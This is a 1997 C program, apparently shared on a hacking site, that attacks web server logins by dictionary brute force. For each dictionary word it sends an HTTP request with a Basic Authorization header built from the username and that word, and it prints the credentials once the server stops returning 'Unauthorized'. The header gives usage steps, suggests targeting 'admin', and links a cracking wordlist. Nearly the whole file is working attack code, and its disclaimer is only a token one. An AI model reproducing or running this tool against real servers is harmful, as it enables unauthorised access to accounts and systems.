|
/* * * * Brute Force your way into a Web Server. * -Works best on computers in the same subnet :-) * Coded by BeastMaster V on April 24, 1997. * Email questions or comments to: * bryan@scott.net * * In order to use this: * 1) Get a dictionary file. * http://www.rootshell.com/hacking/crack_dict.txt.gz * 2) Compile this program, and run it. The arguments are- * username dictfile hostname port * << most websites have 'admin' as a user >> * 3) Wait for user name and password to appear. * * NOTE: If you want to see the webserver's response, * define VERBOSE when compiling. * * WARNING: If the webserver logs, it will * be obvious that you are attacking! * * DISCLAIMER: Please use this program in a * responsible manner. * */ #include <errno.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/time.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/stat.h> #include <termio.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <fcntl.h> #include <sys/errno.h> extern int errno; /* Change this to whatever document you want to get off the web server */ #define DEFAULT_DOCUMENT "/" char alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" "0123456789+/"; unsigned char buf_64[512]; unsigned short socket_timeout=20; char line[2048]; enum TOKENTYPE { NONE, BLANKS, PUNCT, TAG, NAME, CONTENT }; struct TOKEN { char *text; int length; int index; enum TOKENTYPE type; }; struct BASE64_PARAMS { unsigned long int accum; int shift; int save_shift; }; int read_dict_file ( char *buff, FILE *f ) { int b, i; *buff = 0; do { while ((b = fgetc(f)) != EOF && (b == ' ' || b == '\t' || b == '\n' || b == '\r')); if ( b == EOF ) return(0); for ( i = 0; b != EOF && b != '\n' && b != '\r'; i++ ) { buff[i] = (b == '\t') ? ' ': b; b = fgetc(f); } buff[i] = 0; } while (*buff == '#'); return(1); } void (* r_signal(sig, func, fd_socket, fd_accept)) (int) int sig; void (*func) (); int fd_socket; int fd_accept; { struct sigaction act, oact; act.sa_handler = func; sigemptyset(&act.sa_mask); act.sa_flags = 0; #ifdef SA_RESTART act.sa_flags |= SA_RESTART; #endif if (sigaction(sig, &act, &oact) < 0) return (SIG_ERR); return (oact.sa_handler); } /* Read 'n' bytes from a descriptor */ int readn(fd, ptr, nbytes) register int fd; register char *ptr; register int nbytes; { int nleft, nread; nleft=nbytes; while(nleft > 0) { nread=read(fd,ptr,nleft); if (nread<0) return(nread); else if (nread==0) break; nleft -=nread; ptr +=nread; } return(nbytes-nleft); } /* Write 'n' bytes to a descriptor */ int writen(fd, ptr, nbytes) register int fd; register char *ptr; register int nbytes; { int nleft, nwritten; nleft=nbytes; while(nleft > 0) { nwritten=write(fd, ptr, nleft); if(nwritten <= 0) return(nwritten); nleft -= nwritten; ptr += nwritten; } return(nbytes-nleft); } char * dateTime() { time_t t; char * s; time(&t); s = (char *)ctime((const time_t *)&t); s[24] = '\0'; return s; } void handle_SIGSEGV (void) { fprintf(stderr, "\nSegmentation Violation! [%s]\n", dateTime()); exit(1); } void handle_SIGINT (void) { fprintf(stderr, "\nSignal Interrupt! [%s]\n", dateTime()); exit(1); } void sendln(int s, char buf[1024]) { writen(s, buf, strlen(buf), 0); } int readln(int s) { int i,done=0,w, result; char tmp[1]; struct timeval timeout; fd_set inputs; sprintf(line,""); i = 0; while (!done) { FD_ZERO(&inputs); FD_SET(s, &inputs); timeout.tv_sec = socket_timeout; timeout.tv_usec = 0; result = select(FD_SETSIZE, &inputs,(fd_set *)0, (fd_set *)0, &timeout); switch(result) { case 0: printf("\n\nSocket Timeout\n"); exit(1); break; case -1: perror("select"); exit(1); break; default: w=readn(s ,tmp, 1); break; } if (w==0) return 0; if (tmp[0] != 0) { line[i] = tmp[0]; } if (line[i] == '\n') { done = 1; } i++; } line[i] = 0; return (i); } /* Code to call out on a socket */ int call_socket(hostname, portnum) char *hostname; u_short portnum; { struct sockaddr_in sa; struct hostent *hp; int a, s, foo=1; if ((hp= gethostbyname(hostname)) == NULL) { /* do we know the host's */ errno= ECONNREFUSED; /* address? */ return(-1); /* no */ } bzero(&sa,sizeof(sa)); bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length); /* set address */ sa.sin_family= hp->h_addrtype; sa.sin_port= htons((u_short)portnum); if ((s= socket(hp->h_addrtype,SOCK_STREAM,0)) < 0) /* get socket */ return(-1); #ifdef SOCKET_OPTS /* set socket options so we can try multiple connects */ if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char *)&foo, sizeof(foo)) ==-1) { fprintf(stderr, "Error setting SO_REUSEADDR socket option in call_socket!\n"); fflush((FILE *)stderr); exit(1); } #endif if (connect(s,(struct sockaddr *)&sa,sizeof sa) < 0) { /* connect */ perror("connect failed"); exit(1); } return(s); } int base64_encode( int quit, struct BASE64_PARAMS *e_p, char *string_to_encode ) { int index; unsigned long int value; unsigned char blivit; int z=0; index = 0; while ( ( *(string_to_encode+z) ) || (e_p->shift != 0) ) { if ( ( *(string_to_encode+z) ) && ( quit == 0 ) ) { blivit = *(string_to_encode +z); z++; if ( *(string_to_encode+z)==0 ) { quit = 1; e_p->save_shift = e_p->shift; blivit = 0; } } else { quit = 1; e_p->save_shift = e_p->shift; blivit = 0; } if ( (quit == 0) || (e_p->shift != 0) ) { value = (unsigned long)blivit; e_p->accum <<= 8; e_p->shift += 8; e_p->accum |= value; } /* ENDIF */ while ( e_p->shift >= 6 ) { e_p->shift -= 6; value = (e_p->accum >> e_p->shift) & 0x3Fl; blivit = alphabet[value]; buf_64[index++] = blivit; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } if ( quit != 0 ) { e_p->shift = 0; } } } if ( e_p->save_shift == 2 ) { buf_64[index++] = '='; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } buf_64[index++] = '='; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } } else if ( e_p->save_shift == 4 ) { buf_64[index++] = '='; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } } if ( index != 0 ) { /* buf_64[index-1]='='; */ buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ } return quit; } void encode_string (char *namepass) { struct BASE64_PARAMS e_p; int quit=0; register int i; char * some; e_p.shift = 0; e_p.accum = 0; some=(char *)malloc(256); /* Nasty hack (forgive the lame coding...) */ some = (char *)namepass; for (i=0;*(some+i);i++); *(some+i)=*(some+i-1); *(some+i+1)='\0'; base64_encode(quit, &e_p, (char *)some); } void sorry (void) { printf("\nSorry, but I could not get in.\n"); printf("There are two reasons why:\n"); printf("1) The user (argv[1]) does not exist on the webserver.\n"); printf("2) The user exists, but his/her passwd was not in your dict_file.\n"); printf("Have a Nice Day. :-)\n\n"); exit(0); } void usage(char *prog_name) { printf("\nUsage: "); printf("[%s] username dictfile hostname port\n", prog_name); printf("\n"); exit(0); } int main ( argc, argv ) unsigned int argc; char **argv; { FILE * dict_fd=NULL; struct hostent *hp; unsigned short web_port=0; int sock_fd=0; char * dict_word=NULL; char export_buff[1024]; char * encoded_buffer=NULL; unsigned short finish_flag=1, success=0; int foo; if ( argc !=5 ) usage(argv[0]); r_signal(SIGSEGV, handle_SIGSEGV); r_signal(SIGINT, handle_SIGINT); dict_word= (char *)malloc (256); if ((dict_fd=fopen(argv[2], "r"))==NULL ) { fprintf(stderr, "\nCould not open dictionary file: [%s]\n%s\n\n", argv[2], strerror(errno)); exit(1); } if ((hp=(struct hostent *)gethostbyname((char *)argv[3])) == NULL) { fprintf(stderr, "\nCould not resolve hostname: [%s]\n\n", argv[3]); exit(1); } web_port = atoi(argv[4]); encoded_buffer=(char *)malloc(512); while (read_dict_file(dict_word, dict_fd)) { if ((sock_fd=call_socket(argv[3], web_port))==-1) { perror("socket connection"); exit(1); } #ifndef SOLARIS if ((foo=ioctl(sock_fd, FIONBIO , 1))==-1) { perror("ioctl"); exit(1); } #else if ((foo=fcntl(sock_fd, O_NDELAY, 1)) <0) { perror("ioctl"); exit(1); } #endif sprintf(export_buff, "GET / HTTP/1.0\n"); sendln(sock_fd, export_buff); sprintf(encoded_buffer, "%s:%s", argv[1], dict_word); encode_string(encoded_buffer); sprintf(export_buff, "Authorization: Basic %s\n\n", buf_64); sendln(sock_fd, export_buff); memset(line, '\0', sizeof(line)); while( readln(sock_fd)) { #ifdef VERBOSE printf("%s", line); fflush((FILE *)stdout); #endif /* Change this to a more sophisticated test. */ /* This test is pretty lame, but works for */ /* all practical purposes. */ if (strstr(line, "nauthorized")) finish_flag=0; } if (finish_flag) { close(sock_fd); finish_flag=1; success=1; break; } finish_flag=1; close(sock_fd); } fclose(dict_fd); if (!success) sorry(); else { printf("\n\nThe UserName is: %s\n", argv[1]); printf("The Password is: %s\n", dict_word); printf("\n\n\n ---- Coded by BeastMaster V ----\n"); exit(0); } }